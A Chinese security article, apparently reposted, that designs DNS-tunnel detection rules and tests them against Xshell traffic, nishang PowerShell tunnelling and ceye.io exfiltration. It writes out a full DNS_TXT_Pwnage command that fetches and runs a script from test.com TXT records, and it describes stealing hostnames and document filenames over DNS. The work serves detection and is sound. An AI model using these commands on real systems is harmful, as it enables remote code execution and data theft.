一次誤報引發的DNS檢測方案的思考:DNS隧道檢測平民解決方案
摘自:http://www.freebuf.com/articles/network/149328.html
通過以上分析得出監控需要關註的幾個要素:長域名、頻率、txt類型、終端是否對解析ip發起訪問、是否有全域名註冊記錄,推導檢測邏輯如下:
方向1:特征檢測:
檢測竊密木馬(無需更新和接收指令): 【域名超長 or 頻率高】 and 【終端無進程對返回的A記錄(如有)發起訪問】 and 【不存在全域名註冊記錄】
檢測遠控木馬(需更新和接收指令): 【域名超長 or 頻率高】 and 【終端無進程對返回的A記錄(如有)發起訪問】 and 【不存在全域名註冊記錄】 and 【存在txt回包】
通用檢測(可發現單次外傳,存在瀏覽器預解析等誤報,需結合其他特征確認):
{【存在txt回包】and 【不存在全域名註冊記錄】} or {【終端無進程對返回的A記錄(如有)發起訪問】 and 【不存在全域名註冊記錄】}
方向2:基於外傳量檢測,發現正在進行的大量數據泄露(不分析細節,僅供參考,本次實驗不涉及):
單臺機器檢測: 域名長度(3+N級的域名) * 域名數量(相同只計算一個) > 單臺機器閾值,評測外傳數據大小,達到閾值則觸發報警
群體事件檢測: A機器域名長度(3+N級的域名)* A機器域名數量(相同只計算一個) + B +… > 多臺機器閾值,評測外傳數據大小,達到閾值則觸發報警
實驗驗證分析:
為驗證此方案的邏輯正確性,筆者實驗如下:
Xshell實驗驗證:
1、直接運行xshell,觸發dns行為
2、外傳結果抓包:
3、檢測邏輯匹配分析:
a) 外傳域名超長
b) 頻率較高
c) 類型為TXT,有回包
d) 無A記錄解析結果,也就無程序對結果發起訪問
e) 不存在全域名註冊記錄(黑客根據算法提前註冊了部分域名,但全域名無註冊信息)
結論:竊密木馬+遠控木馬
Powershell dns實驗驗證:
1、利用powershell構造dns隧道
a) 編寫一個最簡單的一句話腳本,獲取服務列表
b) 使用nishang的Out-NnsTxt將腳本GetServiceToTxt.ps1轉換為txt記錄
c) 在dns服務器建立對應txt記錄(後續執行需按照1,2,3,4的順序,所以建立記錄名為1)
驗證結果,ok
d) 使用nishang的DNS_TXT_Pwnage讀取txt並執行(腳本自動在test.com前加1,向1.test.com請求txt記錄作為腳本執行。不過筆者最終也沒搞懂stopstring這個參數的原理,懂的朋友麻煩私信下,謝謝! ),可正常獲取服務列表。
命令和結果如下:
DNS_TXT_Pwnage -startdomainstartflag.test.com -cmdstring nostart -commanddomain txt1.test.com -psstring startflag -psdomain test.com -Subdomains 1 -stopstring stopflag
2、外傳結果抓包:
使用Microsoft Network Monitor抓包分析
3、檢測邏輯匹配分析:
a) 因實驗未將結果外傳,所以域名長度不大,如dns隧道外傳則必使用長域名
b) 因實驗未將結果外傳,所以頻率不高,且只獲取遠端的get-server功能,頻率也不高,但要實現外傳和獲取更多功能(如mimikatz等),則必然需要高頻率
c) 類型為TXT,有回包
d) 無A記錄解析結果,也就無程序對結果發起訪問
e) 此實驗場景未覆蓋外傳數據,所以不涉及註冊問題
結論:遠控木馬(實驗功能較單一,擴展為大馬則可精確覆蓋檢測特征)
利用ceye.io的外傳實驗驗證
1、 少量信息竊取和大量信息竊取
a) 單次少量信息竊取外傳,簡單利用windows命令(ping、nslookup等)即可竊取機器名
b) 多次大量信息竊取,編寫腳本,搜索文檔(word、excel、ppt),並外傳文件名(此腳本360 未報警),vbs腳本內容如下 (代碼未充分驗證,不保證無錯誤,中文支持或讀文件內容請自行修改):
2、外傳結果展示:
a) 單次少量信息竊取外傳
b) 多次大量信息竊取
3、檢測邏輯匹配分析:
a) 利用A記錄外傳,非txt回包,長度不超長(實驗原因,未充分利用域名長度),但頻率較高,解析過程未發現異常(但此截圖為8.8.8.8,非系統dns存在一定風險)
b) 對解析A記錄結果無後續訪問
c) 不存在全域名註冊記錄
結論:竊取數據木馬
一次誤報引發的DNS檢測方案的思考:DNS隧道檢測平民解決方案